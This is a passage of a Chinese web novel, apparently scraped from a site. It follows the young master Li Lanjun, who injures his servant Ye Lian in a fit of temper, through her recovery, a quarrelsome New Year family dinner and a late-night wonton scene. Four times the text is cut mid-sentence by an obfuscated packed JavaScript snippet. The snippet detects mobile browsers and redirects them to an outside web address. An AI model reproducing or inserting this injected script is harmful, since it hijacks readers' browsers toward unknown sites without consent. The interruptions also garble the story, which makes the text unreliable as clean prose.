北院寝居里，李兰钧正被伺候着熏香穿衣，他从来睡不安宁，昨日又硬着头皮去参加同知大人幺子的抓周宴，结果被那老头含沙射影贬了两句，想是为他父亲出气的意思。 同知大人半截入土的人，有的妾室比他儿女年岁都小，偏偏老头身强体健，五十多了还能抱上儿子…… 李兰钧大好的年纪，却连媳妇都讨不上，更何况生儿育女了。 他当场就黑了脸，随后秉承着绝不吃亏的脾性，恶从胆边生，“无意”提起同知这把年纪，别说抓周宴上的幺子，那孩子的母亲他努努力都生得出……诸如此类的话。 同知一听，气成了结巴，“你你你你”半天吐不出一个字，李兰钧就在结巴声中愤然离场。 口舌之上争了胜局，李兰钧反倒不觉可喜，那老头气得他够呛，终是双方都没吃上好果子。 他心眼极其之小，记恨到今日都未消气，夜里在房里摔了几个杯子碟子，那不长眼的碎渣还划伤了手背，留下一个稍不注意就要愈合了的伤口。 那伤口缝线一样宽，米粒一样长，不仔细找都找不着，府医眯着眼找了半晌，给他小事化大地捣鼓到半夜，李兰钧才觉得处理得当，挥挥手让府医退下了。 到今日，他手上还包着一层薄薄的纱布，以示他被嘲而郁郁的标记。 叶莲没在李兰钧身上长眼，自然不知他今日心情好恶，她端着食案走上前，在临时摆的小几上仔细布菜。 “做了什么菜？”菜式摆在他面前，他跟看不见似的问。 “茭白，蛤蜊羹，还有莲子百合汤……” 叶莲一样一样指给他看。 “莲子百合……” 李兰钧咬牙切齿地跟着她念，仿佛想到什么让他笑不出来的事。 他面色已经沉了下来，却未做出动怒的举动，开口说道：“你可知莲子百合的寓意？” 叶莲觑着他的脸色，对他突然变化的态度摸不着头脑，“少爷，奴婢不知道……” 他想引她说出“多子多福”之类的答案，但叶莲知道这话要说出来，必定会触李兰钧的霉头。 她只好退一步装傻充愣，试图周转。 然而无论她怎么回答，李兰钧都不会罢休。他见她一副踌躇的模样，料定她在装蠢，于是怒上心头，一脚踢翻那张小几。 小几上的饭食顷刻泼洒在地上，那不知是温是热的莲子百合汤尽数落上叶莲胸肩处，洇湿一大片布料。 叶莲被小几绊住衣裙，磕到小腿跟着坐倒在地上，她用手撑着地面，看着眼前突然打乱的景象惊魂未定。 “莲儿，你这身聪明劲儿……”李兰钧从圆凳上站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15199973|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身，踱步到叶莲面前蹲下。 他见叶莲浑身狼狈，脖颈上被汤烫得发红，叶莲缩着肩膀瞧他，瞳仁不安地颤动如鹿。 李兰钧悠悠蹲下，捏住她的两颊，“今日用错了地方。” 叶莲像物件一样被他左右扳转打量，细嫩的皮肤在指间泛起红，她往日急转的思维今日像钝了的刀，磨不出厉来。 “奴婢知错……”她看着李兰钧，脑袋空洞地回道。 “不知道的东西就不要说出来。” 李兰钧对她木讷的表现很是不满意。 叶莲接连受挫，被他这样说也不住神游，半晌接不下话。 “莲儿，你胆子越发肥了，我跟你说话你都不答应！”李兰钧哪受得了这种冷落，当即将她的脸往后一甩，叶莲脱力地摔在地上，手掌和腰背按上碎瓷，汤汁和瓷片沾上衣裙，不知哪处皮肤被划破流出血，藕粉的衣裙绽出星星点点的红。 碎瓷深深扎入手心，叶莲吃痛地咧着嘴，扶起受伤的右手匍匐在地上认错：“奴婢……奴婢不敢，奴婢方才分心出了岔子，自知有错，请少爷息怒！” 多说无益，叶莲才被斥了圆滑，这下不敢耍嘴皮功夫，老实交代认错。 “我看你脸色这么差，是没吃好还是没睡好？”李兰钧开口，话里不知是询问还是其他意思。 叶莲想起红儿，想起她带着东西去讨好却被污蔑诋毁，昨夜雪的寒凉犹在心头，她欲开口却一度失语。 李兰钧也没想让她答，继续道：“受到这么大的恩赏，一定是吃也吃不下，睡也睡不好吧。” “奴婢一心侍奉少爷，不敢因赏赐欢喜过头，忘了本分……”叶莲手心里的瓷片疼得她脑袋突突直跳，她勉强从乱麻里抽出一分清明回道。 “我怎么看不出来，你今日分明是恃宠而骄，连我都不看在眼里。莫非……你是觉得我非你不可？还是我对你好过头了，你就把自己当碟菜了？” 李兰钧仿佛诵经的和尚，非要叶莲按他说的参出道意得道成仙不可。 叶莲觉察他无事生非的想法，一时没了对应之策，只无力地用头抵着地，撑住不失血晕过去。 “少爷……奴婢没有，奴婢不敢……” 她阖着眼回应，听自己的呼吸声沉闷点地。 “以你的姿色，要想攀附我也不够格！” 李兰钧莫名唱出一出贼喊捉贼，他见叶莲伏在地上声如细雨，腔调绵绵，顿时觉得这小丫鬟有意勾引。 殊不知叶莲捂着手掌，血已经渗透了胸前的衣料。 叶莲本意识模糊，眼皮沉重得看地板花纹都晕头转向，一听“攀附”二字，仿佛起死回生般抬起脸。 攀附，攀附。 她不知听到这二字多少遍了，这回从李兰钧嘴里吐出来，她才是真的悲愤不已：连舆论的本身都承认了，她还有转圜的余地吗？ 叶莲眼眶通红，面容憔悴惨白，她如同冤魂一般猛然盯紧李兰钧，咬紧牙关一字一句地反驳：“奴婢从未有那种心思！” 15. 入怀 李兰钧一听，脸比苦瓜还青，又如茄子似的发紫，脸色几经变化，“我不信！” 他近乎咬牙切齿，仓皇地怒斥道。 没有那种心思是什么意思？他这样的容貌才学，这样的身世背景，连一个小丫鬟都不屑于攀附了吗？ 李兰钧笃定她有那种心思。 “你、你、你竟然还敢——”他语无伦次地低下头，撞上叶莲坚定的目光更是让他怒火中烧，未待他喝斥完，叶莲翻着眼睛昏倒在地。 “……顶嘴。”李兰钧见她忽地倒地，没说完那俩字如同断线的风筝，越说越没气。 叶莲的伤口和血渍被她挡住，李兰钧瞧不见，倒地后一侧身赫然显出，把他吓得魂飞魄散。 “你们这群死人，还不快去叫府医过来！是想让我背上人命么！”李兰钧登时提起嗓子，对屋里一列无动于衷的奴婢大呼小叫。 屋里的下人得了命令，这才赶紧动身出门。 指望这群吃里扒外的东西怕是不成了，李兰钧一咬牙，上前将叶莲扶起来，让她靠在自己臂腕之间。 饭菜的脏污和血液的腥臭和在一起，气味古怪而不可言，李兰钧看她胸前刺目的一片红，差点跟着一块晕过去。 “去打水……”他有气无力地开口。 然后从袖中抽出手帕，一把捂在叶莲胸口上，捂完方觉止血效果奇好，竟然不见伤口渗透出新的血液。 真正的伤口垂在地上，因瓷片未取出的缘由还在止不住地渗血。 可此时李兰钧无暇兼顾，自然没注意到那里的惨状，他一边捂伤口，一边抽出手拔走叶莲肩上的瓷器碎屑。 他那用作装饰的纱布可算派上用场，拂开碎屑时顺便把食物残渣一块带走，污渍大部分都留在纱布上，他那金尊玉贵的手倒没受什么委屈。 “少爷，府医来了！”去通传的侍女在门边高声道。 府医本以为是李兰钧换药的事宜，优哉游哉地提着药箱进来，见他抱着个鲜血淋漓的女子，才浑身一抖脚底生风窜过去。 北院丫鬟闷葫芦一般，就同他说了个少爷传他去寝居便没了下文，差点耽搁出人命。 他放下药箱，蹲下身仔细检查叶莲的伤处。 “这……这里，这里有伤！”李兰钧抱着她指指她的胸口。 府医满头大汗，看叶莲手上还一刻未停地流着血，忙道：“少爷，当下手伤比较严重，我先帮她取除残片。” 李兰钧终于注意到她手心那道血淋淋的伤口，但仍未发觉自己捂错了地。 府医用帕子包住那桃叶大小的瓷片，一点点往外取，叶莲额头疼得冒出细汗，晕厥中也难以忍受，面部皱成一团。 取出瓷片后，府医立即用桐油板压住她的伤，再撒上一层厚重的金创药，最后塞了几块丝麻以防止血液流出。 “暂且这样吧，我去开药方给她补气血……”府医擦擦脸上的汗，道。 “这儿都还没处理，怎么就要走了？”李兰钧看府医要走，连忙指着叶莲的胸口，疾声问。 府医看那处血色只在衣服浅层上，早已凝固成暗红发棕的一片，他看看伤，又抬头看看焦急的李兰钧：“呃，这个、这应该是手心的血染上的，并无大碍……” 李兰钧拿开捂着的手，一看那里果然什么破处都没有，果然是他弄错了。 “哦。” 他闷声答应，然后挥手让府医离开。 叶莲伤处止了血，面色逐渐恢复，不像方才盯着他时那样可怖了，她皱眉躺在他怀里，呼吸声杂乱而急剧。 “带下去，醒了就让她该回哪儿回哪儿去。”李兰钧吩咐道，侍女们便拥着上前将叶莲抬走。 掌心还留有那个小丫鬟的温度，她呼吸凌乱地靠在李兰钧身上时，似乎能感知到方寸之地跃动的气息。 李兰钧负手转身，被弄脏的褶皱的长袍之下，他的指尖留恋地蜷起，擦过袖袍。 …… 叶莲在一阵暖风中睁开眼，眼前是月白的床帐和雕花红木的床架，显然不是她常待的下人房。 她浑身上下没有一点力气，身体四肢各处酸痛不已，手心的位置疼痛尤其突出。 “好痛……” 她转过脸去看房中情况，屋门敞开着，有两个小丫鬟百无聊赖地蹲在床前的炭盆边，正相依着打盹。 叶莲谨慎地开口：“两位姐妹，能告诉我这是怎么了吗？” 两人美梦被惊醒，具回头望她，见她醒了才放心地舒了口气：“你可算醒了！” 一矮个丫鬟凑上来给她喂水，喂完还殷勤地帮她擦擦干裂的嘴唇。 “你忘啦？你的手被少爷弄伤了，出了好多血，然后倒在寝居里……” 叶莲这才注意到手被包成了粽子，她稍微动了动，拇指根部便传来一阵牵扯痛。 “……府医开了方子，少爷就让人带你过来了。幸亏没伤到经脉，是肉实的鱼际帮你挡了灾呀！”矮丫鬟在空中戳戳她的手，笑得刻意，说得更刻意。 “莲儿姑娘，你喝了汤药便走吧，少爷不让你多留。”在炭盆边上的丫鬟用蒲扇扇扇火，转头提醒她。 “哦，好，我这就走了。” 叶莲翻身下床，将案几上的药汤一饮而尽。 她也不想在北院久留，特别是李兰钧说出那些话以后，她更是不敢轻举妄动了。 屋漏偏逢连夜雨，她自己身上一揽子事都没料理清楚，眼下手上又多出了一道伤…… 厨房怕是不会有人特地照顾了。 叶莲看身上的衣服换成了北院鹅黄成衣，虽晓得穿这样一身回去定要惹麻烦，也实在无可奈何了，她们要说就说，她再分不出身去解释阐明。 走出房门不远，叶莲在墙边歇息片刻，屋里两个丫鬟便忍不住挖苦道：“听说啊，是她有意勾引，把少爷惹烦了才弄成这副样子的……” “活该！哪有这么不知满足的人？才要把她调过来就急着往上爬了，少爷的后院是想进就能进的？” “也不看看她是个什么东西……” 二人你一言我一语，将叶莲骂了个里外不是人才解气，屋里又静悄悄的仿佛空置一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203898|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般。 叶莲听完她们的话，在墙边久久不能平息，沉气几次才托着手离开。 日薄西山，厨房里的丫鬟都往北院送膳去了，她走到门口怯步了一下，见里边只有几个家厨和沈嬷嬷，才敢迈开脚步进去。 “莲儿，这是怎么了？”沈嬷嬷见她失魂落魄的模样，走上前扶住她的伤手。 叶莲耷拉着脸对上她的目光，几度哽咽不能言说，她在嘴里酝酿了好一会儿，瓮声瓮气地开口：“没什么，我做了错事，被责罚了……” “你这手……不会是少爷打的吧？”李伯聚过来，看着她里三层外三层的包扎。 “少爷真是越来越可怕了……” “他又有几时好过？” 几个师傅啧啧哀叹道，叶莲唯恐他们误会传出去生事，赶忙解释说：“不，不是少爷，是我自己不小心摔到瓷片上了。” “那还不是一样的，赏也是他，罚也是他，到头来受苦的是你。”李伯忍不住愤慨道。 沈嬷嬷皱眉张望几眼墙外，回头斥道：“小声些，你们这把年纪了也想挨打么？” 众人悻悻止住了话头。 “你到我屋里去，我给你看看。” 沈嬷嬷又看向叶莲，没好气地说。 叶莲知道她不止是要看伤，定还有别的事宜，她怔怔地点头，由着沈嬷嬷带她去房里。 脚下踩着厚雪发出“嘎吱嘎吱”的声响，她们绕过厨房来到背后的一间小屋，木门没落锁，一推即可入内。 沈嬷嬷把她安置在凳子上，转身去关门。 “听人说，你和红儿有了嫌隙？” 她关好门转身问。 “有些误会……我和她是不可能再好了。”叶莲埋头道，想起红儿的所作所为浑身发冷。 沈嬷嬷在她对面坐下，眉头始终未舒展，听叶莲说完，她才缓缓说道：“你们之间的事我不想多问，但是……你如今算不上厨房的人，她若是想对你做什么，就是打了北院的脸，你既然得了这份赏，不管手段如何，终究是比她高了一头，你不必让步。” “我没使手段……”叶莲十分不适地反驳。 “你使没使手段不是你我说了算，这已是南园公认的事儿，就算你真证了清白，难道她们就会信你吗？她们就会为了你鸣冤吗？” 房里摆设简陋，桌上却有一包不合情景的草药，一株新鲜的红梅置在纸包上，花苞顶上露水还未完全消散。 沈嬷嬷的话像是一把剪刀，把叶莲心里那团乱麻不经梳理统统剪断，让她终日惶惶不安的心结被粗暴解开，有了可以喘息的余地。 “我明白了，”叶莲看着那株红梅，“我已经不是厨房的人了……” “这是我们这些人的命，由不得自己选，你去了北院，好好做事，但求无愧于心吧。” 沈嬷嬷站起身，整了整自己利落的发髻。 “今日除了我，还有人来过么？” 叶莲明知故问。 “有的，你去吧。” 沈嬷嬷答，立在原地看她出门。 16. 家宴 除夕佳节，叶莲噩梦般过了这段时日，趁着北院小厨房已砌好，李兰钧又不在南园，她一大早就搬到了北院的住处。 她同二位掌事大丫鬟的住处挨在一块，一个是刚入府时见过的辛夷，另一个则是侍奉那日对她发脾气的林檎。 叶莲贴身物件不多，提着一个小包袱就到了门口，她怀里揣着画卷，推开门的伤手鱼际处结了一块丑陋的疤。 屋里空无一人，摆件陈设比厨房要好上很多，床榻整洁干净，屋里设有柜子和桌椅、一盏黄纸糊的灯。 厨房的丫鬟们共用通铺、柜子、桌椅，甚至灯都要节省着点……叶莲觉得这些日子的苦也算没白受，至少待遇变好了。 她安置好带来的物件，才从屋里走出，去跟辛夷报道。 辛夷是北院侍女之首，比林檎更高上一等，北院这三间大丫鬟房里，属叶莲最说不上话，不光她是新人，还有她身上缠着的非议。 “这几日少爷回李府过节，南园没什么要事，你就在后院做些洒扫吧。”辛夷不与她多寒暄，简明地吩咐道。 “是，”叶莲答，又想到自己的主职，“小厨房那边我还未熟悉，做完安排的活可以去看看么？” 连日大雪，今日反而放晴，房前积雪消融，满庭道地湿释，掩住的纷杂也显露出半面。 辛夷站在门边，着一身浅绿冬装，面上淡然：“厨房事宜是你的本职，不必问我。” “我这就去后院洒扫。” 叶莲一刻都不敢耽搁，福了福身便转身离去。 她沿着走廊一路往后院走，今年大抵是暖冬，墙根爬了几根嫩绿荠叶，树木抽芽也比往年早许多。 后院在李兰钧寝居旁，从一道八角门进去，里边是供他散步消遣的山水花园，院中有一片天然的池塘，池中水流从院外经入，不须多打理也清澈盎然。 叶莲拿了苕帚，从池塘边扫雪，水面上歇着几汪枯荷，枝叶随波纹摆动，水下池鱼在枝干间觅食游窜。 她静静地扫着，直至池塘一圈因雪融而现出的杂物全部打扫干净，清理后靠在栏杆边上歇脚。 北院未归家的丫鬟聚在一块同过新年，她跟辛夷说话时就听见隔壁林檎屋里的动静了，只是辛夷没开口留她，她也不好意思赖着脸凑上去。 这会儿已经过了正午，阖家团圆之时，叶莲刚扫完后院一块地。 原本想着做完手上的活就去小厨房看看，可眼下这后院需要打扫的地儿……叶莲望了望偌大的院子，决定推迟一日去看。 …… 李府。 天方染上暮色，府中就已开始忙活家中晚宴，侍女仆从张罗着点灯燃蜡，天底下比天上还敞亮许多。 前厅长桌上一水的清淡菜式，府中上下无不疼惜他李兰钧，连垂髫年纪的幼子都要看他脸色。 李兰钧坐在长桌右侧，正中是李老爷，左侧是崔氏。 “兰钧，府里才聘来的京中厨子，你上回归家未来得及尝尝手艺，这次母亲特地让他做了时兴的菜式，你看看吃不吃得惯？”崔氏坐在他对面，朝他笑着开口。 身侧的二哥也跟着道：“他酒鹤烧得不错，你素来喜爱的点心果子也是一绝，这次不尝下次可就要等元宵了！” 按理说世家大户应分长幼尊卑，可李府却以李兰钧为尊，他平时吆五喝六，耍尽了手段脾气，兄弟姐妹们瞧着并无意见，还都惯着他的性子。 一家子也算其乐融融得诡异。 “瞧着油腥味便重，京中就吃这些？” 李兰钧扫一眼餐桌，悠悠收回目光。 “这都是宫里流传下来的吃食，多少人想吃还吃不上。你少说几句，试两口不就知道了？”李老爷听他说话仿佛刺挠，忍不住回怼。 厅中谈话声忽的弱下来，妻妾子女皆看着李兰钧的脸色。 冬至那日他们爷俩也是不欢而散，李老爷非要给他介绍什么同僚之女，那家女儿才十二的年纪，人还没他书房的香炉高。 李兰钧听他一通苦口婆心的劝诫，好似他是个售不出的孬货，管它阿猫阿狗都能兜售而出。他越听面色越难看，冷笑着讥讽：“父亲，您禽兽面目终于是露出来了？十二岁，牙都没长齐的年纪，您得了什么好处让她跟我成婚？是加官晋爵还是赃款美人？” 知府老爷一生高洁，哪受过这样的侮辱，他被气得直翻白眼，差点一头栽进汤里去。 而李兰钧则是个气性极大的，说完头也不回地走了，半口菜都没吃上。 一年到头的家宴从没安生过，老爷非要去招惹三少爷，桌上人个个脸上写着紧张。 “您还让不让我好好过年了？” 李兰钧不忿道，顺手夹了一筷子放进嘴里，嚼了半天也没觉得多好味，他想这京中的厨子不过如此，还没他南园的小丫鬟会弄新鲜菜。 南园那小丫鬟…… 李兰钧又想起她手上的伤，这些日子忙着备礼参宴，而今突然想起她，心里那股兴头渐渐浮了上来。 不知她怎么样了，是否已在北院等着他回去。 他摊开手，仔细看着那双留有她体感的指掌，看得入神了才发觉自己失了态，忙收回去，故作矜持地说道：“咳，还成。” 大家这才喜笑颜开地继续交谈。 李兰钧心不在焉地夹了几道菜，吃进嘴里直到咽下去为止都没品出什么味道。 坐在席中的一紫衣妇人见他心情平静，拿出藏在袖中的红布佛符，笑容可掬：“钧儿，姨娘去广明寺给你求了平安符……你戴着，可保来年顺遂安康呀！” 说话的是姨娘张氏，李兰钧生母仙去后的三年一直养在她身边，三年后续弦夫人进门才过继到崔氏名下。 可以说他乖张古怪的脾气有这位张姨娘一半的功劳，剩余的府里所有人平摊。 李兰钧三岁到六岁之间，可谓是要星星不给月亮，平日里走两步路都要把张氏心疼坏了，恨不得亲自背着他上下学堂。 而府里其他人见她如此溺爱李兰钧，纷纷感动得热泪涟涟，一家人上赶着把他往败家子的路上越推越远。 “知道了。”李兰钧接过平安符揣进怀中，口气还算温柔。 张氏听他语气柔和，瘪瘪嘴差点哭出来，以袖掩面喃喃道：“钧儿越发懂事了……” “定是在外边受了苦，我早说不要开府出去，没个照应怎么成……” 崔氏触景生情，也长吁短叹道。 座上众人仿佛一同想起什么悲伤往事，开始家长里短地念叨起李兰钧儿时的光景，小儿则低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228029|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃菜，弄不清状况。 李兰钧不置可否。 “对了，那骆家小姐就要回来了，届时你二人奉婚约成婚，也了了家里一桩大事。” 张氏感怀到深处，一时忘我地说起李兰钧的大忌。 李兰钧：“……” 她说完才蓦地发觉自己失言，随后连哭腔都止住了。 “骆家小姐蕙质兰心，于你而言算得上是良配，你莫要再耍性子了。”有人抛出这个话头，李老爷求之不得。 “没完了是吗？”李兰钧登时黑了脸。 “什么完没完，有你这么跟长辈说话的吗？骆家世家出身，有什么不好，在你这提都不能提！” 李老爷非要火上浇油，提起声量道。 “人家都没过门，你们念她有什么用？到时候还不是要退婚，还不是要嫁予他人？”李兰钧登时被点燃了怒意，直截了当地批驳回去。 “婚约在，你们就必不会走到这一步，你当世家联姻是放狗屁么！我李家世代荣昌，怎么就、怎么就生了你这个……”李老爷气急，伸出手指恨铁不成钢地指着他的鼻尖。 “我这个什么？废人还是累赘？我如今这副样子也不能赖别人，难道父亲就没有一点错处么？” 言尽如此，李兰钧未等父亲再开口，便一刻不愿多留，站起身就往门边走去。 “兰钧！” “钧儿……” 耳边不知几人出声挽留，李老爷从他话里回过味来，也起身怒喝道：“逆子，你敢……！” 他活这二十年，还有什么不敢的？ 李兰钧置若罔闻，阔步离开。 “三哥哥这就要走吗？” 他正要踏出门槛，席末的幺女怯生生拉住他的衣角，奶声奶气地问。 孩童的力气本就说不上大，是李兰钧听见她的话，才打住了要往外走的念头。 他原本被人扯住心里十分不快，低头见是庶妹，到嘴边的狠话又吞了回去：“哥哥身上不舒服，改日给你买糖果子吃。” 他僵硬地摸摸妹妹头顶，递给她一个红纸包，“这是你的压岁钱——这些分给哥哥姐姐。” 他从袖中又拿出三个塞给她。 小孩咧着嘴点点头，一口缺牙笑得可爱。 李兰钧拍拍袖子走人，任由李老爷在厅中大呼小叫也不回半字，心头的气勉强因为庶妹舒缓下来，他更不想与父亲多费口舌。 许是知晓他一贯作风，李府门前一驾马车停在不远处，冬青立在马车边等他出门。 大门开了，李兰钧果然气冲冲地从里面踏出来。 他胸口急剧起伏着，到了马车边上才失去力气地扶着车缓缓弯下身子，随后是一阵狂风骤雨般的咳嗽声。 “少爷……”冬青将大氅盖在李兰钧身上，心疼地给他顺气。 李兰钧咳了半晌，才支起身子大口喘着气，府外一片天寒地冻，远处灯火阑珊，家家户户都紧着团聚的日子，街上人烟稀少。 “回南园。”他大口吐着白气，冷风灌进嗓子里，又引得一阵咳。 冬青看看李府的大门，有些犹豫。 “你是听我的，还是听他们的？” 李兰钧不耐道，不等冬青多言，皱眉踩上脚踏钻进车里。 17. 馄饨 车马行至平缓路面也不免颠簸，李兰钧坐在车上万分难受，他吹不得风，一吹风便头疼，眼下头疼腹疼一块涌上来，折磨摧残他好一会儿。 “少爷，到了。”冬青掀帘道。 李兰钧被磨得七荤八素，勉强应了一声。 冬青将他扶下车，一路扶到前院，李兰钧稍微缓过来气，便抽出手独自走在前头。 院里有人声交谈，不算喧哗，是南园下人在一块过春节，李兰钧听着烦躁，越走越快。 “少爷，您慢点，小心身子！”冬青亦步亦趋地跟在他身后。 李兰钧走了几步渐渐慢下来，月上枝头，耳边有庆贺低语，心里不免凄凉。 “冬青，你怎么不过节去……” 李兰钧有气无力地问，问完才发觉是自己让他提前备车，不顾他的意愿。 冬青突然被他提问，忙老实回：“我早早吃了夜饭，等着少爷吩咐。” 合着是他不近人情，偏偏要拆散一家人团聚的日子。李兰钧听着心堵：“你说话……真不中听。” 冬青讪讪一笑，闭口不再多言。 回房休息尚早，李兰钧在门边徘徊一会儿，决定去后院散散心。 “你在这等着，我自个走走。” 见冬青踌躇着要跟上，李兰钧轻轻剜他一眼，将他吓住定在原地。 后院一如往常，李兰钧跨进这道门便没了兴致，又想起无事可做，只得在院里逛一圈再打道回府。 他捡起一块拇指大的石头，“咚”一下丢入池中，水下鱼儿被他打搅，甩着尾巴四散逃开，李兰钧穷追不舍，又捡起几个一齐扔进水里，把那家养鱼砸得满头包。 叶莲躲在乱石旁小憩，一听“扑通扑通”的动静揉揉眼睛爬起来，想看看是何处鬼怪在作妖。 她迷蒙着双眼，只见远处一只通体雪白的长发女鬼站在池边，头发覆在面上，全然看不见脸，一身拖地的白衣随风而动，正古怪地做着重复的动作——这是李兰钧背着她在砸鱼。 “唔唔啊啊啊，鬼啊！”叶莲捂着嘴仓皇逃窜，几乎手脚并用地找地方躲藏。 这边李兰钧被突如其来的怪叫吓了一跳，停下手中动作四处查看时却不见人影，忽然阴风阵阵，吹得他毛骨悚然。 他裹紧大氅试探着迈出一步，眼尖地看见假山边上有一个瑟瑟发抖的身影，那身影穿着鹅黄冬装，蜷成一颗虾米状。 李兰钧惊吓之余，多出几分愤然：他倒要看看，是哪个不要命的在这装神弄鬼！ 他大手一拎，将那可怜的小东西连拉带拽地拖了起来。衣领被揪住，不要命的人抖若筛糠地乞求他：“姐姐饶命……我在这儿做洒扫、不、不小心惊扰到姐姐……我这就走，这就走……” 李兰钧：“……” 他不知要作何表情才能配得上这会儿的情形，偏偏手里的人还在碎碎念念地拜天拜地拜“女鬼”。 “……你在这儿做什么？” 李兰钧勉强想出一句正常问话。 叶莲陡然一惊，停住了手上动作，她不敢置信地抬起头，仰望拎着她的那张脸——墨发玄衣，琉璃似的浅色瞳仁，左眼下一点小痣，面色冷然，肩上披着一件宽大的雪白大氅。 这不正是南园的主人，如假包换的李兰钧么？ “奴婢在洒扫后院……”叶莲哆嗦着回。 李兰钧忽然放开手，让她没防备地摔在地上，摔得眼冒金星。 他颇有脾气地收回手，将手藏到袖中：“谁让你来的？” 叶莲心头一抽，忙在脑内想措辞。 她谁都得罪不起，想来想去还是得扣在自己头上：“奴婢见后院落叶纷杂，看不下去才来扫的。” “这大半夜的，你特地来这儿扫地？”李兰钧不是寻常人等，自然不吃她的忽悠。 “是……”叶莲硬着头皮点头。 李兰钧当然知道她被欺负了，北院一众侍女现下在一块聚餐，只有她顶着黑天冷风洒扫后院，明摆着与她割席断交。 他一向不喜奴婢间的纷争斗闹，正打算狠狠训小丫鬟一顿，明日再去收拾北院那些乱七八糟的下人，可才低下头，教训的话还未出口，就见她紧张地绞着手指，一双手被冻得通红，鞋边泥雪积压翻满，比鞋底都厚，想必在后院待了一整日。 她掌心的伤毕竟出自他手。 李兰钧叹了口气，调转话头，“这后院不归你扫，你有这功夫不如去给我煮碗馄饨。” “啊……”罕见的没挨罚，叶莲一时惊喜交加，“少爷您是想吃馄饨吗？” “还不快去。”李兰钧不想回答。 叶莲脆声应了一句，“是，奴婢这就去。” 一会就跑没影了。 后院里又恢复沉寂，方才难得有趣些，叶莲踏出去后立刻便没了意思。 李兰钧站在原地望了望天，折返回寝居。 冬青见叶莲从后院走出，全然没看见他似的奔向小厨房，心里一阵古怪，还没等他细想出名堂，李兰钧也从后院缓步行至他面前。 李兰钧神色自若，步伐轻盈，面上的烦闷散至九霄云外，取而代之是若有若无的一丝笑容。 冬青凝神思索，随即恍然大悟：原来少爷急着回南园，是想跟莲儿在后院幽会！ 他怎么就没注意到，少爷和莲儿之间竟生出了别样的感情。 冬青顿感失职，一时百思不得其解。 “你看我做什么？”李兰钧见他久久盯着自己，不觉后背发毛。 冬青赶紧垂头，利索地推开房门，率先进去一盏盏点灯。 屋里敞亮了，李兰钧这才迈开腿走进去，绕过屏风在桌边坐下。 “少爷，不就寝么？”冬青站在他身侧问。 李兰钧抽出花瓶里的一枝腊梅，一片片拔花枝身上的花瓣，势必要将它糟蹋成一只乌鸡爪子。 “还早呢，等人。” 他一边拔一边道。 等人二字说得究极模糊，为何等，等来做甚，他都不予说明，只抛出这俩字留给冬青揣摩。 月黑风高夜，郎情妾意天。 冬青脑子里全装的如上意思，他兀自给自个安上线人的头衔，决心好好守着少爷这突如其来的情趣。 不知过了多久，李兰钧要等的人终于是半掩真容、绰绰风姿，踏着月色出现在屏风后。 “少爷，奴婢进来了？”叶莲细声细气地询问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231500|165482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬青的心仿佛提到了嗓子眼。 “嗯。”李兰钧秉承着一贯作风，惜字如金。 那道身影便柔柔一福身，听话地走近。 比侍奉之人身上暖香先抵达的，是一股鲜美清香的河虾青菜味，冬青在这气味中恍然破除旖旎想法。 叶莲端着一碗馄饨，小心翼翼地将碗放在李兰钧面前。 “小厨房东西没购置全，奴婢只得去厨房做来，这才耽搁了。”叶莲鼻尖上有细汗，鬓发稍微松散下来，一看便是刚走动不久。 李兰钧点点头，拿起瓷勺舀了一只馄饨，待凉了才送入口中。 叶莲做菜喜欢取巧，这碗馄饨也不例外，她寻来风干的河虾磨成粗粉，又从菜园摘了一颗青菜，一碗牛肉馄饨，汤里还卧着几片翠绿的菜叶，不见河虾却能闻见鲜香之味。 李兰钧挑不出毛病，埋头一个接一个地吃着。 叶莲和冬青一左一右地站在他身边，冬青一脸茫然，叶莲作木桩样。 他吃到碗里只剩汤底，才抬起眼看身边二位：“还有么？” 叶莲点头如捣蒜，“还有还有！” “奴婢这就去端来。”不用李兰钧开口，叶莲就继续说道。 李兰钧又偏过头去看冬青，冬青被他看得一怵，忙递眼神给叶莲。 